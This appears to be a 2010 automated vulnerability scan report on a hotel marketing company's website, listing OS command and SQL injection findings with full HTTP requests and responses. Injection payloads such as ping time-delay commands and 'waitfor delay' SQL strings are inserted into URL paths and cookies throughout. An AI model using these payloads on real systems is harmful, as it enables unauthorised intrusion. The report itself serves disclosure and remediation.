Report generated by Hoyt LLC Research at Wed Sep 29 12:03:32 EDT 2010.

Cross Site Scripting Reports | Hoyt LLC Research

Contents

Loading

1. OS command injection

1.1. http://www.cendyn.com/Profile/eFacetime.asp [REST URL parameter 2]

1.2. http://www.cendyn.com/Profile/eFolio.asp [REST URL parameter 1]

1.3. http://www.cendyn.com/Profile/eRetrieval.asp [REST URL parameter 2]

1.4. http://www.cendyn.com/Profile/ebooker.asp [REST URL parameter 2]

1.5. http://www.cendyn.com/Profile/eproposal.asp [REST URL parameter 2]

1.6. http://www.cendyn.com/Profile/fact.asp [REST URL parameter 2]

1.7. http://www.cendyn.com/Profile/press.asp [__utma cookie]

1.8. http://www.cendyn.com/Profile/products.asp [__utma cookie]

2. SQL injection

2.1. http://www.cendyn.com/Iframes/ [__utmz cookie]

2.2. http://www.cendyn.com/Profile/eFacetime.asp [REST URL parameter 1]

2.3. http://www.cendyn.com/Profile/eFacetime.asp [REST URL parameter 2]

2.4. http://www.cendyn.com/Profile/eFolio.asp [REST URL parameter 1]

2.5. http://www.cendyn.com/Profile/eFolio.asp [REST URL parameter 2]

2.6. http://www.cendyn.com/Profile/ePlanner.asp [REST URL parameter 1]

2.7. http://www.cendyn.com/Profile/ePlanner.asp [REST URL parameter 2]

2.8. http://www.cendyn.com/Profile/ePlanner.asp [Referer HTTP header]

2.9. http://www.cendyn.com/Profile/eRetrieval.asp [REST URL parameter 1]

2.10. http://www.cendyn.com/Profile/eRetrieval.asp [REST URL parameter 1]

2.11. http://www.cendyn.com/Profile/eRetrieval.asp [REST URL parameter 2]

2.12. http://www.cendyn.com/Profile/eRetrieval.asp [REST URL parameter 2]

2.13. http://www.cendyn.com/Profile/eRetrieval.asp [__utma cookie]

2.14. http://www.cendyn.com/Profile/ebooker.asp [REST URL parameter 1]

2.15. http://www.cendyn.com/Profile/ebooker.asp [REST URL parameter 2]

2.16. http://www.cendyn.com/Profile/ebrochure.asp [REST URL parameter 1]

2.17. http://www.cendyn.com/Profile/ebrochure.asp [REST URL parameter 2]

2.18. http://www.cendyn.com/Profile/ebrochure.asp [Referer HTTP header]

2.19. http://www.cendyn.com/Profile/egiftcards.asp [REST URL parameter 1]

2.20. http://www.cendyn.com/Profile/egiftcards.asp [REST URL parameter 2]

2.21. http://www.cendyn.com/Profile/einsight.asp [ASPSESSIONIDCACRSTCA cookie]

2.22. http://www.cendyn.com/Profile/einsight.asp [REST URL parameter 1]

2.23. http://www.cendyn.com/Profile/einsight.asp [REST URL parameter 2]

2.24. http://www.cendyn.com/Profile/emenus.asp [REST URL parameter 1]

2.25. http://www.cendyn.com/Profile/emenus.asp [REST URL parameter 2]

2.26. http://www.cendyn.com/Profile/emenus.asp [Referer HTTP header]

2.27. http://www.cendyn.com/Profile/eproposal.asp [REST URL parameter 1]

2.28. http://www.cendyn.com/Profile/eproposal.asp [REST URL parameter 2]

2.29. http://www.cendyn.com/Profile/fact.asp [REST URL parameter 1]

2.30. http://www.cendyn.com/Profile/fact.asp [REST URL parameter 2]

2.31. http://www.cendyn.com/Profile/fact.asp [Referer HTTP header]

2.32. http://www.cendyn.com/Profile/givingback.asp [REST URL parameter 1]

2.33. http://www.cendyn.com/Profile/givingback.asp [REST URL parameter 2]

2.34. http://www.cendyn.com/Profile/press.asp [REST URL parameter 1]

2.35. http://www.cendyn.com/Profile/press.asp [REST URL parameter 2]

2.36. http://www.cendyn.com/Profile/press.asp [__utma cookie]

2.37. http://www.cendyn.com/Profile/products.asp [REST URL parameter 1]

2.38. http://www.cendyn.com/Profile/products.asp [REST URL parameter 2]

2.39. http://www.cendyn.com/Profile/products.asp [REST URL parameter 2]

2.40. http://www.cendyn.com/Scripts/AC_RunActiveContent.js [REST URL parameter 1]

2.41. http://www.cendyn.com/Scripts/AC_RunActiveContent.js [REST URL parameter 2]

2.42. http://www.cendyn.com/_javascript/ScriptForCareers.js [REST URL parameter 1]

2.43. http://www.cendyn.com/_javascript/ScriptForCareers.js [REST URL parameter 2]

2.44. http://www.cendyn.com/_javascript/ScriptForCareers.js [REST URL parameter 2]

2.45. http://www.cendyn.com/_javascript/ScriptForContact.js [REST URL parameter 1]

2.46. http://www.cendyn.com/_javascript/ScriptForContact.js [REST URL parameter 2]

2.47. http://www.cendyn.com/_javascript/ieupdate.js [REST URL parameter 1]

2.48. http://www.cendyn.com/_javascript/ieupdate.js [REST URL parameter 2]

3. Cleartext submission of password

4. Cookie without HttpOnly flag set

5. Password field with autocomplete enabled

6. Cross-domain script include

7. File upload functionality

8. Email addresses disclosed

8.1. http://www.cendyn.com/Profile/careers.asp

8.2. http://www.cendyn.com/Profile/eFacetime.asp

8.3. http://www.cendyn.com/Profile/eFolio.asp

8.4. http://www.cendyn.com/Profile/ePlanner.asp

8.5. http://www.cendyn.com/Profile/eRetrieval.asp

8.6. http://www.cendyn.com/Profile/ebooker.asp

8.7. http://www.cendyn.com/Profile/ebrochure.asp

8.8. http://www.cendyn.com/Profile/egiftcards.asp

8.9. http://www.cendyn.com/Profile/einsight.asp

8.10. http://www.cendyn.com/Profile/emenus.asp

8.11. http://www.cendyn.com/Profile/eproposal.asp

8.12. http://www.cendyn.com/Profile/fact.asp

8.13. http://www.cendyn.com/Profile/givingback.asp

8.14. http://www.cendyn.com/Profile/index.asp

8.15. http://www.cendyn.com/Profile/press.asp

8.16. http://www.cendyn.com/Profile/products.asp

8.17. http://www.cendyn.com/Profile/thanks.asp

8.18. http://www.cendyn.com/accommodations/

9. Robots.txt file

10. Multiple content types specified

10.1. http://www.cendyn.com/Profile/eFacetime.asp

10.2. http://www.cendyn.com/Profile/ePlanner.asp

10.3. http://www.cendyn.com/Profile/ebrochure.asp

10.4. http://www.cendyn.com/Profile/egiftcards.asp

10.5. http://www.cendyn.com/Profile/einsight.asp

10.6. http://www.cendyn.com/Profile/emenus.asp

11. HTML does not specify charset

12. Content type incorrectly stated

12.1. http://www.cendyn.com/_javascript/ScriptForCareers.js

12.2. http://www.cendyn.com/_javascript/ScriptForContact.js

12.3. http://www.cendyn.com/javascript/Scriptforindex2.js


1. OS command injection  next
There are 8 instances of this issue:

Issue background

Operating system command injection vulnerabilities arise when an application incorporates user-controllable data into a command that is processed by a shell command interpreter. If the user data is not strictly validated, an attacker can use shell metacharacters to modify the command to be executed, and inject arbitrary further commands that will be executed by the server.

OS command injection vulnerabilities are usually very serious and may lead to compromise of the server hosting the application, or of the application's own data and functionality. The exact potential for exploitation may depend upon the security context in which the command is executed, and the privileges which this context has regarding sensitive resources on the server.

Issue remediation

If possible, applications should avoid incorporating user-controllable data into operating system commands. In almost every situation, there are safer alternative methods of performing server-level tasks, which cannot be manipulated to perform additional commands than the one intended.

If it is considered unavoidable to incorporate user-supplied data into operating system commands, the following two layers of defense should be used to prevent attacks:

1.1. http://www.cendyn.com/Profile/eFacetime.asp [REST URL parameter 2]  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.cendyn.com
Path:   /Profile/eFacetime.asp

Issue detail

The REST URL parameter 2 appears to be vulnerable to OS command injection attacks. It is possible to use the ampersand character (&) to inject arbitrary OS commands. The command output does not appear to be returned in the application's responses, however it is possible to inject time delay commands to verify the existence of the vulnerability.

The payload %26ping%20-n%2020%20127.0.0.1%26 was submitted in the REST URL parameter 2. The application took 21016 milliseconds to respond to the request, compared with 1031 milliseconds for the original request, indicating that the injected command caused a time delay.

Request

GET /Profile/eFacetime.asp%26ping%20-n%2020%20127.0.0.1%26 HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response

HTTP/1.1 302 Object moved
Date: Wed, 29 Sep 2010 13:51:47 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Location: /accommodations/
Content-Length: 137
Content-Type: text/html
Cache-control: private

<head><title>Object moved</title></head>
<body><h1>Object Moved</h1>This object may be found <a HREF="/accommodations/">here</a>.</body>
1.2. http://www.cendyn.com/Profile/eFolio.asp [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.cendyn.com
Path:   /Profile/eFolio.asp

Issue detail

The REST URL parameter 1 appears to be vulnerable to OS command injection attacks. It is possible to use the ampersand character (&) to inject arbitrary OS commands. The command output does not appear to be returned in the application's responses, however it is possible to inject time delay commands to verify the existence of the vulnerability.

The payload %26ping%20-n%2020%20127.0.0.1%26 was submitted in the REST URL parameter 1. The application took 22172 milliseconds to respond to the request, compared with 1016 milliseconds for the original request, indicating that the injected command caused a time delay.

Request

GET /Profile%26ping%20-n%2020%20127.0.0.1%26/eFolio.asp HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response

HTTP/1.1 302 Object moved
Date: Wed, 29 Sep 2010 13:31:11 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Location: /accommodations/
Content-Length: 137
Content-Type: text/html
Cache-control: private

<head><title>Object moved</title></head>
<body><h1>Object Moved</h1>This object may be found <a HREF="/accommodations/">here</a>.</body>
1.3. http://www.cendyn.com/Profile/eRetrieval.asp [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.cendyn.com
Path:   /Profile/eRetrieval.asp

Issue detail

The REST URL parameter 2 appears to be vulnerable to OS command injection attacks. It is possible to use the ampersand character (&) to inject arbitrary OS commands. The command output does not appear to be returned in the application's responses, however it is possible to inject time delay commands to verify the existence of the vulnerability.

The payload %26ping%20-n%2020%20127.0.0.1%26 was submitted in the REST URL parameter 2. The application took 21110 milliseconds to respond to the request, compared with 1016 milliseconds for the original request, indicating that the injected command caused a time delay.

Request

GET /Profile/eRetrieval.asp%26ping%20-n%2020%20127.0.0.1%26 HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF; __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmc=91042184; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 302 Object moved
Date: Wed, 29 Sep 2010 13:51:47 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Location: /accommodations/
Content-Length: 137
Content-Type: text/html
Cache-control: private

<head><title>Object moved</title></head>
<body><h1>Object Moved</h1>This object may be found <a HREF="/accommodations/">here</a>.</body>
1.4. http://www.cendyn.com/Profile/ebooker.asp [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.cendyn.com
Path:   /Profile/ebooker.asp

Issue detail

The REST URL parameter 2 appears to be vulnerable to OS command injection attacks. It is possible to use the ampersand character (&) to inject arbitrary OS commands. The command output does not appear to be returned in the application's responses, however it is possible to inject time delay commands to verify the existence of the vulnerability.

The payload %26ping%20-n%2020%20127.0.0.1%26 was submitted in the REST URL parameter 2. The application took 21172 milliseconds to respond to the request, compared with 1016 milliseconds for the original request, indicating that the injected command caused a time delay.

Request

GET /Profile/ebooker.asp%26ping%20-n%2020%20127.0.0.1%26 HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response

HTTP/1.1 302 Object moved
Date: Wed, 29 Sep 2010 13:51:47 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Location: /accommodations/
Content-Length: 137
Content-Type: text/html
Cache-control: private

<head><title>Object moved</title></head>
<body><h1>Object Moved</h1>This object may be found <a HREF="/accommodations/">here</a>.</body>
1.5. http://www.cendyn.com/Profile/eproposal.asp [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.cendyn.com
Path:   /Profile/eproposal.asp

Issue detail

The REST URL parameter 2 appears to be vulnerable to OS command injection attacks. It is possible to use backtick characters (`) to inject arbitrary OS commands. The command output does not appear to be returned in the application's responses, however it is possible to inject time delay commands to verify the existence of the vulnerability.

The payload `ping%20-c%2020%20127.0.0.1` was submitted in the REST URL parameter 2. The application took 20968 milliseconds to respond to the request, compared with 1015 milliseconds for the original request, indicating that the injected command caused a time delay.

Request

GET /Profile/eproposal.asp`ping%20-c%2020%20127.0.0.1` HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response

HTTP/1.1 302 Object moved
Date: Wed, 29 Sep 2010 13:51:47 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Location: /accommodations/
Content-Length: 137
Content-Type: text/html
Cache-control: private

<head><title>Object moved</title></head>
<body><h1>Object Moved</h1>This object may be found <a HREF="/accommodations/">here</a>.</body>
1.6. http://www.cendyn.com/Profile/fact.asp [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.cendyn.com
Path:   /Profile/fact.asp

Issue detail

The REST URL parameter 2 appears to be vulnerable to OS command injection attacks. It is possible to use the ampersand character (&) to inject arbitrary OS commands. The command output does not appear to be returned in the application's responses, however it is possible to inject time delay commands to verify the existence of the vulnerability.

The payload %26ping%20-n%2020%20127.0.0.1%26 was submitted in the REST URL parameter 2. The application took 21219 milliseconds to respond to the request, compared with 1078 milliseconds for the original request, indicating that the injected command caused a time delay.

Request

GET /Profile/fact.asp%26ping%20-n%2020%20127.0.0.1%26 HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF; __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmc=91042184; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 302 Object moved
Date: Wed, 29 Sep 2010 13:51:47 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Location: /accommodations/
Content-Length: 137
Content-Type: text/html
Cache-control: private

<head><title>Object moved</title></head>
<body><h1>Object Moved</h1>This object may be found <a HREF="/accommodations/">here</a>.</body>
1.7. http://www.cendyn.com/Profile/press.asp [__utma cookie]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.cendyn.com
Path:   /Profile/press.asp

Issue detail

The __utma cookie appears to be vulnerable to OS command injection attacks. It is possible to use the ampersand character (&) to inject arbitrary OS commands. The command output does not appear to be returned in the application's responses, however it is possible to inject time delay commands to verify the existence of the vulnerability.

The payload %26ping%20-n%2020%20127.0.0.1%26 was submitted in the __utma cookie. The application took 21187 milliseconds to respond to the request, compared with 2094 milliseconds for the original request, indicating that the injected command caused a time delay.

Request

GET /Profile/press.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.cendyn.com/Profile/ebooker.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1%26ping%20-n%2020%20127.0.0.1%26; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 19225
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 13:51:47 GMT

<HTML>
<HEAD>

<title>Top Internet Advertising Agency: Cendyn Online Marketing Hotel Resort Casino Conference Center CVB Hospitality Tourism Travel Restaurants Website Design Search Engine SEO</tit
...[SNIP]...
1.8. http://www.cendyn.com/Profile/products.asp [__utma cookie]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.cendyn.com
Path:   /Profile/products.asp

Issue detail

The __utma cookie appears to be vulnerable to OS command injection attacks. It is possible to use the pipe character (|) to inject arbitrary OS commands. The command output does not appear to be returned in the application's responses, however it is possible to inject time delay commands to verify the existence of the vulnerability.

The payload |ping%20-n%2020%20127.0.0.1||x was submitted in the __utma cookie. The application took 21157 milliseconds to respond to the request, compared with 4125 milliseconds for the original request, indicating that the injected command caused a time delay.

Request

GET /Profile/products.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.cendyn.com/Profile/eFolio.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1|ping%20-n%2020%20127.0.0.1||x; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 19895
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 13:51:47 GMT

<HTML>
<HEAD>

<title>Hospitality Hotel Marketing Tools Services: Cendyn Internet Online Advertising Agency Resort Casino Conference Center CVB Tourism Travel Restaurants Website Design Search Engi
...[SNIP]...
2. SQL injection  previous  next
There are 48 instances of this issue:

Issue background

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.

Issue remediation

The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.

You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:

2.1. http://www.cendyn.com/Iframes/ [__utmz cookie]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Iframes/

Issue detail

The __utmz cookie appears to be vulnerable to SQL injection attacks. The payload 'waitfor%20delay'0%3a0%3a20'-- was submitted in the __utmz cookie. The application took 70453 milliseconds to respond to the request, compared with 4296 milliseconds for the original request, indicating that the injected SQL command caused a time delay.

The database appears to be Microsoft SQL Server.

Request

GET /Iframes/ HTTP/1.1
Host: www.cendyn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)'waitfor%20delay'0%3a0%3a20'--; __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF; __utmb=91042184.1.10.1285766082;

Response (redirected)

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 15451
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 15:35:31 GMT
Connection: close

<!--include virtual="/accommodations/_ePresence/ePresence_Header_Scripts.asp"-->

<link rel="stylesheet" type="text/css" href="/accommodations/_css/styles1.css">

<head>
<meta http-equiv="Content
...[SNIP]...
2.2. http://www.cendyn.com/Profile/eFacetime.asp [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://www.cendyn.com
Path:   /Profile/eFacetime.asp

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 1, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /Profile'/eFacetime.asp HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response 1

HTTP/1.1 500 Internal Server Error
Date: Wed, 29 Sep 2010 13:31:13 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Content-Length: 4659
Content-Type: text/html
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<hea
...[SNIP]...

Request 2

GET /Profile''/eFacetime.asp HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response 2

HTTP/1.1 302 Object moved
Date: Wed, 29 Sep 2010 13:31:36 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Location: /accommodations/
Content-Length: 137
Content-Type: text/html
Cache-control: private

<head><title>Object moved</title></head>
<body><h1>Object Moved</h1>This object may be found <a HREF="/accommodations/">here</a>.</body>
2.3. http://www.cendyn.com/Profile/eFacetime.asp [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Profile/eFacetime.asp

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. The payload ',0,0,0)waitfor%20delay'0%3a0%3a20'-- was submitted in the REST URL parameter 2. The application took 42765 milliseconds to respond to the request, compared with 1031 milliseconds for the original request, indicating that the injected SQL command caused a time delay.

The database appears to be Microsoft SQL Server.

Request

GET /Profile/eFacetime.asp',0,0,0)waitfor%20delay'0%3a0%3a20'-- HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response

HTTP/1.1 500 Internal Server Error
Date: Wed, 29 Sep 2010 13:50:11 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Content-Length: 4642
Content-Type: text/html
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<hea
...[SNIP]...
2.4. http://www.cendyn.com/Profile/eFolio.asp [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Profile/eFolio.asp

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. The payload 'waitfor%20delay'0%3a0%3a20'-- was submitted in the REST URL parameter 1. The application took 21140 milliseconds to respond to the request, compared with 1016 milliseconds for the original request, indicating that the injected SQL command caused a time delay.

The database appears to be Microsoft SQL Server.

Request

GET /Profile'waitfor%20delay'0%3a0%3a20'--/eFolio.asp HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response (redirected)

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 15451
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 13:28:34 GMT

